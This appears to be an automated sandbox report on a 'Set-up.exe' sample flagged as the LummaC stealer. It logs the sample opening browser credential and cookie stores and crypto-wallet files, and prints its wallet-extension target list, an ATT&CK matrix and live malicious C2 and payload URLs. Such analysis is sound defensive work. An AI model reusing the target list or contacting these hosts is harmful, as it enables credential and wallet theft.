Source: 'Set-up.exe, 00000000.00000002.2494931378.00000000008AF000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: ":"mnfifefkajgofkcjkemidiaecocnkjeh","ez":"TezBox"},{"en":"lodccjjbdhfakaekdiahmedfbieldgik","ez":"DAppPlay"},{"en":"ijmpgkjfkbfhoebgogflfebnmejmfbm","ez":"BitClip"},{"en":"lkcjlnjfpbikmcmbachjpdbijejflpcm","ez":"Steem Keychain"},{"en":"onofpnbbkehpmmoabgpcpmigafmmnjh","ez":"Nash Extension"},{"en":"bcopgchhojmggmffilplmbdicgaihlkp","ez":"Hycon Lite Client"},{"en":"klnaejjgbibmhlephnhpmaofohgkpgkd","ez":"ZilPay"},{"en":"aeachknmefphepccionboohckonoeemg","ez":"Coin98"},{"en":"bhghoamapcdpbohphigoooaddinpkbai","ez":"Authenticator","ses":true},{"en":"dkdedlpgdmmkkfjabffeganieamfklkm","ez":"Cyano"},{"en":"nlgbhdfgdhgbiamfdfmbikcdghidoadd","ez":"Byone"},{"en":"infeboajgfhgbjpjbeppbkgnabfdkdaf","ez":"OneKey"},{"en":"cihmoadaighcejopammfbmddcmdekcje","ez":"Leaf"},{"en":"bhhhlbepdkbapadjdnnojkbgioiodbic","ez":"Solflare"},{"en":"mkpegjkblkkefacfnmkajcjmabijhclg","ez":"Magic Eden"},{"en":"aflkmfhebedbjioipglgcbcmnbpgliof","ez":"Backpack"},{"en":"gaedmjdfmmahhbjefcbgaolhhanlaolb","ez":"Authy"},{"en":"oeljdldpnmdbchonielidgobddfffla","ez":"EOS Authenticator","ses":true},{"en":"ilgcnhelpchnceeipipijaljkblbcob","ez":"GAuth Authenticator","ses":true},{"en":"imloifkgjagghnncjkhggdhalmcnfklk","ez":"Trezor Password Manager"},{"en":"bfnaelmomeimhlpmgjnjophhpkkoljpa","ez":"Phantom"},{"en":"ppbibelpcjmhbdihakflkdcoccbgbkpo","ez":"UniSat"},{"en":"cpojfbodiccabbabgimdeohkkpjfpbnf","ez":"Rainbow"},{"en":"jiidiaalihmmhddjgbnbgdfflelocpak","ez":"Bitget Wallet"}],"c":[{"t":0,"p":"%appdata%\\Ethereum","m":["keystore"],"z":"Wallets/Ethereum","d":1,"fs":20971520},{"t":0,"p":"%appdata%\\Exodus\\exodus.wal

Tries to harvest and steal browser information (history, passwords, etc)

Source: C:\Users\user\Desktop\'Set-up.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\2o7hffxt.default-release\logins.json	Jump to behavior
Source: C:\Users\user\Desktop\'Set-up.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\flpiciilemghbmfalicajoolhkkenfe	Jump to behavior
Source: C:\Users\user\Desktop\'Set-up.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ilgcnhelpchnceeipipijaljkblbcob	Jump to behavior
Source: C:\Users\user\Desktop\'Set-up.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kppfdiipphfccemcignhifpjkapfbihd	Jump to behavior
Source: C:\Users\user\Desktop\'Set-up.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\dlcobpjiigpikoobohmabehhmhfoodbb	Jump to behavior
Source: C:\Users\user\Desktop\'Set-up.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nngceckbapebfimnlniiiahkandclblb	Jump to behavior
Source: C:\Users\user\Desktop\'Set-up.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\2o7hffxt.default-release\cert9.db	Jump to behavior
Source: C:\Users\user\Desktop\'Set-up.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Web Data	Jump to behavior
Source: C:\Users\user\Desktop\'Set-up.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ocjdpmoallmgmjbbogfiiaofphbjgchh	Jump to behavior
Source: C:\Users\user\Desktop\'Set-up.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kkpllkodjeloidieedojogacfhpaihoh	Jump to behavior
Source: C:\Users\user\Desktop\'Set-up.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\bhhhlbepdkbapadjdnnojkbgioiodbic	Jump to behavior
Source: C:\Users\user\Desktop\'Set-up.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\pioclpoplcdbaefihamjohnefbikjilc	Jump to behavior
Source: C:\Users\user\Desktop\'Set-up.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ibnejdfjmmkpcnlpebklmnkoeoihofec	Jump to behavior
Source: C:\Users\user\Desktop\'Set-up.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ppbibelpcjmhbdihakflkdcoccbgbkpo	Jump to behavior
Source: C:\Users\user\Desktop\'Set-up.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\oeljdldpnmdbchonielidgobddfffla	Jump to behavior
Source: C:\Users\user\Desktop\'Set-up.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\History	Jump to behavior
Source: C:\Users\user\Desktop\'Set-up.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kpfopkelmapcoipemfendmdcghnegimn	Jump to behavior
Source: C:\Users\user\Desktop\'Set-up.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aiifbnbfobpmeekipheeijimdpnlpgpp	Jump to behavior
Source: C:\Users\user\Desktop\'Set-up.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\bfnaelmomeimhlpmgjnjophhpkkoljpa	Jump to behavior
Source: C:\Users\user\Desktop\'Set-up.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ojggmchlghnjlapmfbnjholfjkiidbch	Jump to behavior
Source: C:\Users\user\Desktop\'Set-up.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fihkakfobkmkjojpchpfgcmhfjnmnfpi	Jump to behavior
Source: C:\Users\user\Desktop\'Set-up.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nanjmdknhkinifnkgdcggcfnhdaammmj	Jump to behavior
Source: C:\Users\user\Desktop\'Set-up.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fhbohimaelbohpjbbldcngcnapndodjp	Jump to behavior
Source: C:\Users\user\Desktop\'Set-up.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nkbihfbeogaeaoehlefnkodbefgpgknn	Jump to behavior
Source: C:\Users\user\Desktop\'Set-up.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nlgbhdfgdhgbiamfdfmbikcdghidoadd	Jump to behavior
Source: C:\Users\user\Desktop\'Set-up.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hnfanknocfeofbddgcijnmhnfnkdnaad	Jump to behavior
Source: C:\Users\user\Desktop\'Set-up.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mkpegjkblkkefacfnmkajcjmabijhclg	Jump to behavior
Source: C:\Users\user\Desktop\'Set-up.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\dkdedlpgdmmkkfjabffeganieamfklkm	Jump to behavior
Source: C:\Users\user\Desktop\'Set-up.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\infeboajgfhgbjpjbeppbkgnabfdkdaf	Jump to behavior
Source: C:\Users\user\Desktop\'Set-up.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\blnieiiffboillknjnepogjhkgnoapac	Jump to behavior
Source: C:\Users\user\Desktop\'Set-up.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jiidiaalihmmhddjgbnbgdfflelocpak	Jump to behavior
Source: C:\Users\user\Desktop\'Set-up.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\History	Jump to behavior
Source: C:\Users\user\Desktop\'Set-up.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\acmacodkjbdgmoleebolmdjonilkdbch	Jump to behavior
Source: C:\Users\user\Desktop\'Set-up.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mmmjbcfofconkannjonfmjjajpllddbg	Jump to behavior
Source: C:\Users\user\Desktop\'Set-up.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles	Jump to behavior
Source: C:\Users\user\Desktop\'Set-up.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\anokgmphncpekkhclmingpimjmcooifb	Jump to behavior
Source: C:\Users\user\Desktop\'Set-up.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\efbglgofoippbgcjepnhiblaibcnclgk	Jump to behavior
Source: C:\Users\user\Desktop\'Set-up.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hcflpincpppdclinealmandijcmnkbgn	Jump to behavior
Source: C:\Users\user\Desktop\'Set-up.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ejbalbakoplchlghecdalmeeeajnimhm	Jump to behavior
Source: C:\Users\user\Desktop\'Set-up.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cpojfbodiccabbabgimdeohkkpjfpbnf	Jump to behavior
Source: C:\Users\user\Desktop\'Set-up.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hdokiejnpimakedhajhdlcegeplioahd	Jump to behavior
Source: C:\Users\user\Desktop\'Set-up.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kjmoohlgokccodicjjfebfomlbljgfhk	Jump to behavior
Source: C:\Users\user\Desktop\'Set-up.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cphhlgmgameodnhkjdmkpanlelnlohao	Jump to behavior
Source: C:\Users\user\Desktop\'Set-up.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Network\Cookies	Jump to behavior
Source: C:\Users\user\Desktop\'Set-up.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mopnmbcafieddcagagdcbnhejhlodfdd	Jump to behavior
Source: C:\Users\user\Desktop\'Set-up.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\klnaejjgbibmhlephnhpmaofohgkpgkd	Jump to behavior
Source: C:\Users\user\Desktop\'Set-up.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aeblfdkhhhdcdjpifhhbdiojplfjncoa	Jump to behavior
Source: C:\Users\user\Desktop\'Set-up.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aholpfdialjgjfhomihkjbmgjidlcdno	Jump to behavior
Source: C:\Users\user\Desktop\'Set-up.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Sync Extension Settings\ilgcnhelpchnceeipipijaljkblbcob	Jump to behavior
Source: C:\Users\user\Desktop\'Set-up.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\dmkamcknogkgcdfhhbddcghachkejeap	Jump to behavior
Source: C:\Users\user\Desktop\'Set-up.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\onofpnbbkehpmmoabgpcpmigafmmnjh	Jump to behavior
Source: C:\Users\user\Desktop\'Set-up.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\bhghoamapcdpbohphigoooaddinpkbai	Jump to behavior
Source: C:\Users\user\Desktop\'Set-up.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ookjlbkiijinhpmnjffcofjonbfbgaoc	Jump to behavior
Source: C:\Users\user\Desktop\'Set-up.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Sync Extension Settings\oeljdldpnmdbchonielidgobddfffla	Jump to behavior
Source: C:\Users\user\Desktop\'Set-up.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cihmoadaighcejopammfbmddcmdekcje	Jump to behavior
Source: C:\Users\user\Desktop\'Set-up.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Login Data	Jump to behavior
Source: C:\Users\user\Desktop\'Set-up.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jojhfeoedkpkglbfimdfabpdfjaoolaf	Jump to behavior
Source: C:\Users\user\Desktop\'Set-up.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kncchdigobghenbbaddojjnnaogfppfj	Jump to behavior
Source: C:\Users\user\Desktop\'Set-up.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aeachknmefphepccionboohckonoeemg	Jump to behavior
Source: C:\Users\user\Desktop\'Set-up.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ejjladinnckdgjemekebdpeokbikhfci	Jump to behavior
Source: C:\Users\user\Desktop\'Set-up.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\dngmlblcodfobpdpecaadgfbcggfjfnm	Jump to behavior
Source: C:\Users\user\Desktop\'Set-up.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Sync Extension Settings\bhghoamapcdpbohphigoooaddinpkbai	Jump to behavior
Source: C:\Users\user\Desktop\'Set-up.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hpglfhgfnhbgpjdenjgmdgoeiappafln	Jump to behavior
Source: C:\Users\user\Desktop\'Set-up.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cnmamaachppnkjgnildpdmkaakejnhae	Jump to behavior
Source: C:\Users\user\Desktop\'Set-up.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mnfifefkajgofkcjkemidiaecocnkjeh	Jump to behavior
Source: C:\Users\user\Desktop\'Set-up.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\2o7hffxt.default-release\cookies.sqlite	Jump to behavior
Source: C:\Users\user\Desktop\'Set-up.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\lpfcbjknijpeeillifnkikgncikgfhdo	Jump to behavior
Source: C:\Users\user\Desktop\'Set-up.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ffnbelfdoeiohenkjibnmadjiehjhajb	Jump to behavior
Source: C:\Users\user\Desktop\'Set-up.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fijngjgcjhjmmpcmkeiomlglpeiijkld	Jump to behavior
Source: C:\Users\user\Desktop\'Set-up.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\lkcjlnjfpbikmcmbachjpdbijejflpcm	Jump to behavior
Source: C:\Users\user\Desktop\'Set-up.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\2o7hffxt.default-release\formhistory.sqlite	Jump to behavior
Source: C:\Users\user\Desktop\'Set-up.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nhnkbkgjikgcigadomkphalanndcapjk	Jump to behavior
Source: C:\Users\user\Desktop\'Set-up.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\Cookies	Jump to behavior
Source: C:\Users\user\Desktop\'Set-up.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\abogmiocnneedmmepnohnhlijcjpcifd	Jump to behavior
Source: C:\Users\user\Desktop\'Set-up.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\egjidjbpglichdcondbcbdnbeeppgdph	Jump to behavior
Source: C:\Users\user\Desktop\'Set-up.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fhmfendgdocmcbmfikdcogofphimnkno	Jump to behavior
Source: C:\Users\user\Desktop\'Set-up.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fnjhmkhhmkbjkkabndcnnogagogbneec	Jump to behavior
Source: C:\Users\user\Desktop\'Set-up.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Login Data For Account	Jump to behavior
Source: C:\Users\user\Desktop\'Set-up.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cjelfplplebdjjenllpjcblmjkfcffne	Jump to behavior
Source: C:\Users\user\Desktop\'Set-up.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\imloifkgjagghnncjkhggdhalmcnfklk	Jump to behavior
Source: C:\Users\user\Desktop\'Set-up.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jnlgamecbpmbajjfhmmmlhejkemejdma	Jump to behavior
Source: C:\Users\user\Desktop\'Set-up.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data For Account	Jump to behavior
Source: C:\Users\user\Desktop\'Set-up.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\afbcbjpbpfadlkmhmclhkeeodmamcflc	Jump to behavior
Source: C:\Users\user\Desktop\'Set-up.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fcfcfllfndlomdhbehjjcoimbgofdncg	Jump to behavior
Source: C:\Users\user\Desktop\'Set-up.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\2o7hffxt.default-release\places.sqlite	Jump to behavior
Source: C:\Users\user\Desktop\'Set-up.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jgaaimajipbpdogpdglhaphldakikgef	Jump to behavior
Source: C:\Users\user\Desktop\'Set-up.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nknhiehlklippafakaeklbeglecifhad	Jump to behavior
Source: C:\Users\user\Desktop\'Set-up.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\opcgpfmipidbgpenhmajoajpbobppdil	Jump to behavior
Source: C:\Users\user\Desktop\'Set-up.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mcohilncbfahbmgdjkbpemcciiolgcge	Jump to behavior
Source: C:\Users\user\Desktop\'Set-up.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nkddgncdjgjfcddamfgcmfnlhccnimig	Jump to behavior
Source: C:\Users\user\Desktop\'Set-up.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cnncmdhjacpkmjmkcafchppbnpnhdmon	Jump to behavior
Source: C:\Users\user\Desktop\'Set-up.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jbdaocneiiinmjbjlgalhcelgbejmnid	Jump to behavior
Source: C:\Users\user\Desktop\'Set-up.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\amkmjjmmflddogmhpjloimipbofnfjih	Jump to behavior
Source: C:\Users\user\Desktop\'Set-up.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aflkmfhebedbjioipglgcbcmnbpgliof	Jump to behavior
Source: C:\Users\user\Desktop\'Set-up.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\heefohaffomkkkphnlpohglngmbcclhi	Jump to behavior
Source: C:\Users\user\Desktop\'Set-up.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\bcopgchhojmggmffilplmbdicgaihlkp	Jump to behavior
Source: C:\Users\user\Desktop\'Set-up.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data	Jump to behavior
Source: C:\Users\user\Desktop\'Set-up.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\phkbamefinggmakgklpkljjmgibohnba	Jump to behavior
Source: C:\Users\user\Desktop\'Set-up.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hifafgmccdpekplomjjkcfgodnhcellj	Jump to behavior
Source: C:\Users\user\Desktop\'Set-up.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\loinekcabhlmhjjbocijdoimmejangoa	Jump to behavior
Source: C:\Users\user\Desktop\'Set-up.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nlbmnnijcnlegkjjpcfjclmcfggfefdm	Jump to behavior
Source: C:\Users\user\Desktop\'Set-up.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\2o7hffxt.default-release\key4.db	Jump to behavior
Source: C:\Users\user\Desktop\'Set-up.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\idnnbdplmphpflfnlkomgpfbpcgelopg	Jump to behavior
Source: C:\Users\user\Desktop\'Set-up.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\onhogfjeacnfoofkfgppdlbmlmnplgbn	Jump to behavior
Source: C:\Users\user\Desktop\'Set-up.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ijmpgkjfkbfhoebgogflfebnmejmfbm	Jump to behavior
Source: C:\Users\user\Desktop\'Set-up.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\gaedmjdfmmahhbjefcbgaolhhanlaolb	Jump to behavior
Source: C:\Users\user\Desktop\'Set-up.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\lgmpcpglpngdoalbgeoldeajfclnhafa	Jump to behavior
Source: C:\Users\user\Desktop\'Set-up.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\lodccjjbdhfakaekdiahmedfbieldgik	Jump to behavior

Tries to harvest and steal ftp login credentials

Source: C:\Users\user\Desktop\'Set-up.exe

File opened: C:\Users\user\AppData\Roaming\Conceptworld\Notezilla

Jump to behavior

Tries to steal Crypto Currency Wallets

Source: C:\Users\user\Desktop\'Set-up.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet	Jump to behavior
Source: C:\Users\user\Desktop\'Set-up.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet	Jump to behavior
Source: C:\Users\user\Desktop\'Set-up.exe	File opened: C:\Users\user\AppData\Roaming\Ledger Live	Jump to behavior
Source: C:\Users\user\Desktop\'Set-up.exe	File opened: C:\Users\user\AppData\Roaming\atomic\Local Storage\leveldb	Jump to behavior
Source: C:\Users\user\Desktop\'Set-up.exe	File opened: C:\Users\user\AppData\Local\Coinomi\Coinomi\wallets	Jump to behavior
Source: C:\Users\user\Desktop\'Set-up.exe	File opened: C:\Users\user\AppData\Local\Coinomi\Coinomi\wallets	Jump to behavior
Source: C:\Users\user\Desktop\'Set-up.exe	File opened: C:\Users\user\AppData\Roaming\Bitcoin\wallets	Jump to behavior
Source: C:\Users\user\Desktop\'Set-up.exe	File opened: C:\Users\user\AppData\Roaming\Binance	Jump to behavior
Source: C:\Users\user\Desktop\'Set-up.exe	File opened: C:\Users\user\AppData\Roaming\com.liberty.jaxx\IndexedDB	Jump to behavior
Source: C:\Users\user\Desktop\'Set-up.exe	File opened: C:\Users\user\AppData\Roaming\Electrum\wallets	Jump to behavior
Source: C:\Users\user\Desktop\'Set-up.exe	File opened: C:\Users\user\AppData\Roaming\Electrum-LTC\wallets	Jump to behavior
Source: C:\Users\user\Desktop\'Set-up.exe	File opened: C:\Users\user\AppData\Roaming\Guarda\IndexedDB	Jump to behavior

Source: C:\Users\user\Desktop\'Set-up.exe	Directory queried: C:\Users\user\Documents\DUUDTUBZFW	Jump to behavior
Source: C:\Users\user\Desktop\'Set-up.exe	Directory queried: C:\Users\user\Documents\DUUDTUBZFW	Jump to behavior
Source: C:\Users\user\Desktop\'Set-up.exe	Directory queried: C:\Users\user\Documents\QNCYCDFIJJ	Jump to behavior
Source: C:\Users\user\Desktop\'Set-up.exe	Directory queried: C:\Users\user\Documents\QNCYCDFIJJ	Jump to behavior
Source: C:\Users\user\Desktop\'Set-up.exe	Directory queried: C:\Users\user\Documents	Jump to behavior
Source: C:\Users\user\Desktop\'Set-up.exe	Directory queried: C:\Users\user\Documents	Jump to behavior

Source: Yara match	File source: 00000000.00000003.2330195563.00000000008A7000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: 'Set-up.exe PID: 6224, type: MEMORYSTR

Remote Access Functionality

Yara detected LummaC Stealer

Source: Yara match	File source: Process Memory Space: 'Set-up.exe PID: 6224, type: MEMORYSTR
Source: Yara match	File source: sslproxydump.pcap, type: PCAP
Source: Yara match	File source: decrypted.memstr, type: MEMORYSTR

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	Acquire Infrastructure	Valid Accounts	2 Windows Management Instrumentation	1 DLL Side-Loading	1 Process Injection	121 Virtualization/Sandbox Evasion	2 OS Credential Dumping	1 Query Registry	Remote Services	1 Archive Collected Data	11 Encrypted Channel	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	22 Command and Scripting Interpreter	Boot or Logon Initialization Scripts	1 DLL Side-Loading	1 Process Injection	LSASS Memory	121 Security Software Discovery	Remote Desktop Protocol	41 Data from Local System	3 Ingress Tool Transfer	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	2 PowerShell	Logon Script (Windows)	Logon Script (Windows)	11 Deobfuscate/Decode Files or Information	Security Account Manager	121 Virtualization/Sandbox Evasion	SMB/Windows Admin Shares	Data from Network Shared Drive	4 Non-Application Layer Protocol	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	Cron	Login Hook	Login Hook	3 Obfuscated Files or Information	NTDS	2 Process Discovery	Distributed Component Object Model	Input Capture	115 Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	Network Logon Script	1 DLL Side-Loading	LSA Secrets	1 Application Window Discovery	SSH	Keylogging	Fallback Channels	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	Steganography	Cached Domain Credentials	1 File and Directory Discovery	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	Startup Items	Compile After Delivery	DCSync	32 System Information Discovery	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label	Link
'Set-up.exe	8%	ReversingLabs
'Set-up.exe	6%	Virustotal		Browse

Source	Detection	Scanner	Label
https://kliptizq.shop/JiF	100%	Avira URL Cloud	malware
https://weighappetis.click/api	0%	Avira URL Cloud	safe
https://kliptizq.shop/Si	100%	Avira URL Cloud	malware
weighappetis.click	0%	Avira URL Cloud	safe
https://kliptizq.shop/int_clp_ldr_sha.txtP	100%	Avira URL Cloud	malware
https://kliptizq.shop/	100%	Avira URL Cloud	malware
https://neqi.shop/sdgjyut/psh.txt	100%	Avira URL Cloud	malware
https://weighappetis.click:443/api	0%	Avira URL Cloud	safe
https://weighappetis.click/apiz	0%	Avira URL Cloud	safe
https://kliptizq.shop/tiEiM	100%	Avira URL Cloud	malware
https://weighappetis.click/s	0%	Avira URL Cloud	safe
https://weighappetis.click/ows	0%	Avira URL Cloud	safe
https://neqi.shop/sdgjyut/psh.txtbleE	100%	Avira URL Cloud	malware
https://neqi.shop/sdgjyut/psh.txti	100%	Avira URL Cloud	malware
https://weighappetis.click/apiQ	0%	Avira URL Cloud	safe
https://weighappetis.click/k	0%	Avira URL Cloud	safe
https://weighappetis.click/#	0%	Avira URL Cloud	safe
https://kliptizq.shop/int_clp_ldr_sha.txtEe	100%	Avira URL Cloud	malware
